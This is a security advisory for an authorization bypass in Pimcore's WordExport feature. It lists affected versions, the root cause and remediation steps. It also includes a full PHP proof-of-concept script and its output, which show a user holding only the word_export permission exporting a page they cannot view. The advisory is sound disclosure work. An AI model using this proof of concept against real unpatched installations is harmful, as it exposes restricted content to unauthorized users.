CVE-2026-45703: Pimcore has a WordExport Authorization Bypass for Unauthorized Document Export
Summary The WordExport export flow only checks whether the current backend user has the feature permission wordexport. It does not verify access rights on the target element itself. As a result, a low-privileged backend user can export document content even when the user does not have view permission on that document.
Published May 27, 2026 · Updated Jul 10, 2026
Affected packages
pimcore/pimcore
- Ecosystem
- Composer (PHP)
- Affected
- >= 12.0.0-RC1, <= 12.3.6
- Fixed in
- 12.3.7
- Check
composer show pimcore/pimcore
pimcore/pimcore
- Ecosystem
- Composer (PHP)
- Affected
- <= 11.5.16
- Fixed in
- 11.5.17
- Check
composer show pimcore/pimcore
pimcore/pimcore
- Ecosystem
- Composer (PHP)
- Affected
- >= 2026.1.0, < 2026.1.3
- Fixed in
- 2026.1.3
- Check
composer show pimcore/pimcore
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The WordExport export flow only checks whether the current backend user has the feature permission word_export. It does not verify access rights on the target element itself. As a result, a low-privileged backend user can export document content even when the user does not have view permission on that document.
In the local Docker reproduction, a low-privileged user successfully exported sensitive content from a page the user was not allowed to view:
POC-WORDEXPORT-TITLEPOC-WORDEXPORT-DESC
Root Cause
The controller only performs a feature-level permission check before starting the export flow:
- [TranslationController.php](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L41)
- [TranslationController.php](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L44)
It then directly resolves the target element from attacker-controlled type/id input:
- [TranslationController.php](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L56)
- [TranslationController.php](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L58)
For document-like elements such as Page and Snippet, it renders content in an admin context:
- [TranslationController.php](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L72)
- [TranslationController.php](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L113)
- [TranslationController.php](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L114)
No object-level authorization check such as isAllowed('view') is enforced on the target element.
Affected Scope
Based on the source code, the following element types may be affected:
pagesnippetemailobject
For page-like documents, the pimcore_admin = true rendering context may expose additional backend-visible content.
Preconditions
- The attacker is an authenticated backend user
- The attacker has the
word_exportpermission - The attacker does not have
viewpermission on the target document
Reproduction Environment
- Reproduction root:
pimcore-12.3.3-repro - Standalone PoC script: [poc_wordexport.php](pimcore-12.3.3-repro/tools/poc_wordexport.php)
<?php
declare(strict_types=1);
use Pimcore\Bundle\WordExportBundle\Controller\TranslationController as WordExportController;
use Pimcore\Controller\UserAwareController;
use Pimcore\Model\Document\Page;
use Pimcore\Model\User;
use Pimcore\Security\User\TokenStorageUserResolver;
use Pimcore\Security\User\User as SecurityUser;
use Pimcore\Serializer\Serializer as PimcoreSerializer;
use Pimcore\Tool\Authentication;
use Symfony\Component\DependencyInjection\ContainerInterface;
use Symfony\Component\Filesystem\Filesystem;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\RequestStack;
use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken;
use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorage;
require dirname(__DIR__) . '/vendor/autoload.php';
define('PIMCORE_PROJECT_ROOT', dirname(__DIR__));
try {
\Pimcore\Bootstrap::bootstrap();
$kernel = new \App\Kernel('dev', true);
\Pimcore::setKernel($kernel);
$kernel->boot();
$container = $kernel->getContainer();
/** @var RequestStack $requestStack */
$requestStack = getService($container, [
RequestStack::class,
'request_stack',
]);
$admin = User::getByName('admin');
if (!$admin instanceof User) {
fail('admin user is missing');
}
$auditor = User::getByName('auditor_wordexport');
if (!$auditor instanceof User) {
$auditor = new User();
$auditor->setParentId(0);
$auditor->setName('auditor_wordexport');
}
$auditor->setAdmin(false);
$auditor->setActive(true);
$auditor->setPassword(Authentication::getPasswordHash('auditor_wordexport', 'auditor-pass'));
$auditor->setPermissions(['word_export']);
$auditor->setRoles([]);
$auditor->setWorkspacesDocument([]);
$auditor->setWorkspacesAsset([]);
$auditor->setWorkspacesObject([]);
$auditor->save();
$page = Page::getByPath('/poc-wordexport-secret-page');
if (!$page instanceof Page) {
$page = new Page();
$page->setParentId(1);
$page->setKey('poc-wordexport-secret-page');
}
$page->setPublished(true);
$page->setController('App\\Controller\\DefaultController::defaultAction');
$page->setTemplate('default/default.html.twig');
$page->setTitle('POC-WORDEXPORT-TITLE');
$page->setDescription('POC-WORDEXPORT-DESC');
$page->setProperty('language', 'text', 'en', false, true);
$page->setUserOwner($admin->getId());
$page->setUserModification($admin->getId());
$page->save();
$canViewPage = $page->getDao()->isAllowed('view', $auditor);
$tokenResolver = buildTokenResolver($auditor);
$controller = wireController(new WordExportController(), $container, $tokenResolver);
$exportId = 'wordexportpoc1';
$exportRequest = new Request([], [
'id' => $exportId,
'data' => json_encode([
['type' => 'document', 'id' => $page->getId()],
], JSON_THROW_ON_ERROR),
'source' => 'en',
]);
$requestStack->push($exportRequest);
$controller->wordExportAction($exportRequest, new Filesystem());
$requestStack->pop();
$downloadRequest = new Request(['id' => $exportId]);
$requestStack->push($downloadRequest);
$downloadResponse = $controller->wordExportDownloadAction($downloadRequest);
$requestStack->pop();
$wordContent = (string) $downloadResponse->getContent();
echo json_encode([
'vulnerability' => 'wordexport_authorization_bypass',
'user' => [
'id' => $auditor->getId(),
'name' => $auditor->getName(),
'permissions' => $auditor->getPermissions(),
],
'target_page' => [
'id' => $page->getId(),
'path' => $page->getFullPath(),
'title' => $page->getTitle(),
'description' => $page->getDescription(),
'user_can_view_page' => $canViewPage,
],
'result' => [
'download_contains_title' => str_contains($wordContent, 'POC-WORDEXPORT-TITLE'),
'download_contains_description' => str_contains($wordContent, 'POC-WORDEXPORT-DESC'),
],
], JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES), PHP_EOL;
} catch (Throwable $e) {
fail(sprintf(
'%s: %s in %s:%d%s',
$e::class,
$e->getMessage(),
$e->getFile(),
$e->getLine(),
$e->getTraceAsString() ? PHP_EOL . $e->getTraceAsString() : ''
));
}
function wireController(
UserAwareController $controller,
ContainerInterface $container,
TokenStorageUserResolver $tokenResolver
): UserAwareController
{
$controller->setContainer($container);
$controller->setTokenResolver($tokenResolver);
if (method_exists($controller, 'setPimcoreSerializer')) {
/** @var PimcoreSerializer $serializer */
$serializer = getService($container, [
PimcoreSerializer::class,
'Pimcore\\Serializer\\Serializer',
]);
$controller->setPimcoreSerializer($serializer);
}
return $controller;
}
function buildTokenResolver(User $user): TokenStorageUserResolver
{
$tokenStorage = new TokenStorage();
$proxyUser = new SecurityUser($user);
$token = new UsernamePasswordToken($proxyUser, 'pimcore_admin', $proxyUser->getRoles());
$tokenStorage->setToken($token);
return new TokenStorageUserResolver($tokenStorage);
}
function getService(ContainerInterface $container, array $ids): mixed
{
foreach ($ids as $id) {
try {
if ($container->has($id)) {
return $container->get($id);
}
} catch (Throwable) {
}
}
fail('Unable to resolve service: ' . implode(', ', $ids));
}
function fail(string $message): never
{
fwrite(STDERR, $message . PHP_EOL);
exit(1);
}
Reproduction Steps
- Create a low-privileged user named
auditor_wordexportwith only theword_exportpermission and no document workspace permissions. - Create a test page at
/poc-wordexport-secret-pagecontaining sensitive values: title = POC-WORDEXPORT-TITLEdescription = POC-WORDEXPORT-DESC- Verify that the user does not have
viewpermission on that page. - Execute
wordExportAction()andwordExportDownloadAction()as that user. - Check whether the exported HTML contains the sensitive values.
Reproduction command:
cd pimcore-12.3.3-repro
docker compose exec -T php php tools/poc_wordexport.phpReproduction Result
Relevant PoC output:
{
"vulnerability": "wordexport_authorization_bypass",
"user": {
"name": "auditor_wordexport",
"permissions": [
"word_export"
]
},
"target_page": {
"path": "/poc-wordexport-secret-page",
"title": "POC-WORDEXPORT-TITLE",
"description": "POC-WORDEXPORT-DESC",
"user_can_view_page": false
},
"result": {
"download_contains_title": true,
"download_contains_description": true
}
}This shows that:
- The user cannot view the target page
- The exported file still contains the page's sensitive content
This confirms that the issue is practically exploitable.
Security Impact
- Unauthorized disclosure of structured page fields
- Unauthorized export of restricted backend content
- Potential exposure of unpublished or otherwise restricted content
- Lateral data access by low-privileged backend accounts
Remediation
- Perform object-level authorization immediately after resolving the element from
type/id. - Require at least
viewpermission on the target element. - Apply consistent authorization checks across
page,snippet,email, andobject. - Bind export creation and export download to the requesting user or an equivalent authorization context.
- Add regression tests to ensure that users with
word_exportbut without elementviewpermission cannot export content.
Credited to HuajiHD, kingjia90.
References
- https://github.com/pimcore/pimcore/security/advisories/GHSA-332x-r494-54fq
- https://github.com/pimcore/pimcore/pull/19112
- https://github.com/pimcore/pimcore/commit/0ce2232b6f92c79d0ac244e95e21f55c37456ef1
- https://github.com/pimcore/pimcore/releases/tag/v12.3.7
- https://github.com/advisories/GHSA-332x-r494-54fq
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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